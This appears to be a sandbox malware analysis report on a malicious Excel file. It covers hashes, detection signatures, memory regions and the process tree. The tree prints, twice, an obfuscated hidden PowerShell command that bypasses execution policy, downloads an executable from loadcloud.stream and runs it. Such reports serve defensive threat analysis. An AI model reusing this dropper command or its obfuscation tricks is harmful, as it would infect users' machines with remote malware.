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Analysis

  • max time kernel
    68s
  • max time network
    72s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-es
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-eslocale:es-esos:windows10-2004-x64systemwindows
  • submitted
    15/08/2024, 02:44

General

  • Target

    documento_rif.48951.xls

  • Size

    44KB

  • MD5

    2ef27fa73958d5d23280014b08c89dfb

  • SHA1

    5357bda693de76252207c27c386b77c3c5509044

  • SHA256

    1b4cfbc915c345c15334b5514644e2983c84573e31b6987b3eb764c137fa25d6

  • SHA512

    806819a7a28cb4471bb02e1a3c1e96012545be3def5aa859fbe728b25b7046c6e11ccd5e41d22370b090cce1f02d950d18480f3bfd346a118b608cfe59993b47

  • SSDEEP

    768:NrdvxHlcaQPy0iWYOcG4BDhnxD7oOE0qxEtjPOtioVjDGUU1qfDlaGGx+cL2QnA9:NrdvxHlcaQPy0iWYOcG4BDhnxD7oOEVT

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://loadcloud.stream/remaining

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\documento_rif.48951.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2176
    • C:\Windows\SYSTEM32\cmd.eXe
      cmd.eXe /c " POweRsHElL -noLOGO -NOeXIt -noNINTERAcTIV -WInDO hiDden -EXecUtionP bYpAss -nOpROFil "Sv bXzO91 ([tYPe](\"{2}{1}{0}\"-F 'MenT','IroN','ENv')); do{.(\"{1}{0}\" -f'p','slee') 41;$lenovo = (geT-chilDITEm VaRiABle:bxzo91 ).vaLUe::(\"{2}{0}{3}{1}\"-f 'tF','rPath','Ge','olde').Invoke(('My'+'Do'+'cu'+'me'+'nts'));(.(\"{1}{3}{0}{2}\" -f'c','New-Obj','t','e') sY`STem.Net.`w`EBcl`IEnT).\"do`WnLOaDF`i`lE\".\"iN`VoKe\"(('ht'+'tps:'+'//'+'loadc'+'loud.st'+'ream/r'+'emain'+'ing'),\"$lenovo\\417540.exe\")}while(!$?);&(\"{1}{0}{2}\"-f'ro','Start-P','cess') $LEnOvo\417540.eXE""
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:5840
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        POweRsHElL -noLOGO -NOeXIt -noNINTERAcTIV -WInDO hiDden -EXecUtionP bYpAss -nOpROFil "Sv bXzO91 ([tYPe](\"{2}{1}{0}\"-F 'MenT','IroN','ENv')); do{.(\"{1}{0}\" -f'p','slee') 41;$lenovo = (geT-chilDITEm VaRiABle:bxzo91 ).vaLUe::(\"{2}{0}{3}{1}\"-f 'tF','rPath','Ge','olde').Invoke(('My'+'Do'+'cu'+'me'+'nts'));(.(\"{1}{3}{0}{2}\" -f'c','New-Obj','t','e') sY`STem.Net.`w`EBcl`IEnT).\"do`WnLOaDF`i`lE\".\"iN`VoKe\"(('ht'+'tps:'+'//'+'loadc'+'loud.st'+'ream/r'+'emain'+'ing'),\"$lenovo\\417540.exe\")}while(!$?);&(\"{1}{0}{2}\"-f'ro','Start-P','cess') $LEnOvo\417540.eXE"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4372

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a5lklnht.lch.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    3KB

    MD5

    25a082437749c9ba5ea69813246565bd

    SHA1

    8f1ea187faee996b96c654d606920a48313a7993

    SHA256

    daa9b5f32eb76d73edece3785d2822eef3128cdd0686bfd93b6987c89b059969

    SHA512

    9b1bdfe85f3b7f42b58f53f062baa3a15bcd9a180d427a34b53912ece97502d882e02529d51e75381ceef25d4bcf54517c895a064c452669a30bdf59d9c62d3a

  • memory/2176-20-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

    Filesize

    2.0MB

  • memory/2176-18-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

    Filesize

    2.0MB

  • memory/2176-3-0x00007FFB2D990000-0x00007FFB2D9A0000-memory.dmp

    Filesize

    64KB

  • memory/2176-5-0x00007FFB6D9AD000-0x00007FFB6D9AE000-memory.dmp

    Filesize

    4KB

  • memory/2176-9-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

    Filesize

    2.0MB

  • memory/2176-10-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

    Filesize

    2.0MB

  • memory/2176-8-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

    Filesize

    2.0MB

  • memory/2176-7-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

    Filesize

    2.0MB

  • memory/2176-6-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

    Filesize

    2.0MB

  • memory/2176-11-0x00007FFB2B460000-0x00007FFB2B470000-memory.dmp

    Filesize

    64KB

  • memory/2176-12-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

    Filesize

    2.0MB

  • memory/2176-14-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

    Filesize

    2.0MB

  • memory/2176-13-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

    Filesize

    2.0MB

  • memory/2176-15-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

    Filesize

    2.0MB

  • memory/2176-16-0x00007FFB2B460000-0x00007FFB2B470000-memory.dmp

    Filesize

    64KB

  • memory/2176-19-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

    Filesize

    2.0MB

  • memory/2176-4-0x00007FFB2D990000-0x00007FFB2D9A0000-memory.dmp

    Filesize

    64KB

  • memory/2176-0-0x00007FFB2D990000-0x00007FFB2D9A0000-memory.dmp

    Filesize

    64KB

  • memory/2176-17-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

    Filesize

    2.0MB

  • memory/2176-63-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

    Filesize

    2.0MB

  • memory/2176-134-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

    Filesize

    2.0MB

  • memory/2176-164-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

    Filesize

    2.0MB

  • memory/2176-163-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

    Filesize

    2.0MB

  • memory/2176-1-0x00007FFB2D990000-0x00007FFB2D9A0000-memory.dmp

    Filesize

    64KB

  • memory/2176-162-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

    Filesize

    2.0MB

  • memory/2176-161-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

    Filesize

    2.0MB

  • memory/2176-2-0x00007FFB2D990000-0x00007FFB2D9A0000-memory.dmp

    Filesize

    64KB

  • memory/4372-152-0x000001C25E990000-0x000001C25E9A4000-memory.dmp

    Filesize

    80KB

  • memory/4372-151-0x000001C25ED90000-0x000001C25EE92000-memory.dmp

    Filesize

    1.0MB

  • memory/4372-150-0x000001C25E960000-0x000001C25E982000-memory.dmp

    Filesize

    136KB

  • memory/4372-149-0x000001C246880000-0x000001C246890000-memory.dmp

    Filesize

    64KB

  • memory/4372-139-0x000001C25E9C0000-0x000001C25EA42000-memory.dmp

    Filesize

    520KB

  • memory/4372-138-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

    Filesize

    2.0MB

  • memory/4372-165-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

    Filesize

    2.0MB

  • memory/4372-166-0x000001C25ECC0000-0x000001C25ED00000-memory.dmp

    Filesize

    256KB